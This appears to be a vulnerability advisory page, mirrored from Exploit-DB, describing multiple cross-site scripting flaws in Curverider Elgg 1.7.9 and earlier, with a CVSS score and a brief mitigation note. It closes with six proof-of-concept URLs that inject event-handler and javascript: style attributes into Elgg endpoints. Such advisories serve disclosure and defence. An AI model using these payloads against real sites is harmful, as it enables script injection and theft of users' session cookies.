Cross-site Scripting Vulnerabilities in Curverider Elgg

vendor:

Elgg

by:

Unknown

7.5

CVSS

HIGH

Cross-site Scripting

CWE

Product Name: Elgg

Affected Version From: 1.7.2009

Affected Version To: 1.7.9 (and prior versions)

Patch Exists: NO

Related CWE: Unknown

CPE: a:curverider:elgg:1.7.9

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

Cross-site Scripting Vulnerabilities in Curverider Elgg

Curverider Elgg is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Mitigation:

To mitigate these vulnerabilities, it is recommended to sanitize user-supplied data before using it in web pages. Developers should implement proper input validation and output encoding to prevent cross-site scripting attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/48946/info

Curverider Elgg is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Curverider Elgg versions 1.7.9 and prior are vulnerable.

http://www.example.com/elgg/mod/file/search.php?subtype=file&page_owner=%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22%20onmouseover%3d%22alert%28/XSS/%29%22%20x=%22f
http://www.example.com/elgg/mod/riverdashboard/?content=%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22%20onmouseover%3d%22alert%28/XSS/%29%22%20x=%22f&callback=true
http://www.example.com/elgg/pg/embed/upload?internalname=%22%20onmouseover%3d%22alert%28%27XSS%27%29%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22
http://www.example.com/elgg/pg/pages/edit/%22%20onmouseover%3d%22alert%28%27XSS%27%29%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22
http://www.example.com/elgg/pg/pages/new/?container_guid=%22%20style%3d%22background-image%3aurl%28javascript:alert%28/XSS/%29%29%22%20x=%22
http://www.example.com/elgg/pg/pages/new/?container_guid=%22%20style%3d%22background-image%3aurl%28javascript:alert%28/XSS/%29%29%22%20x=%22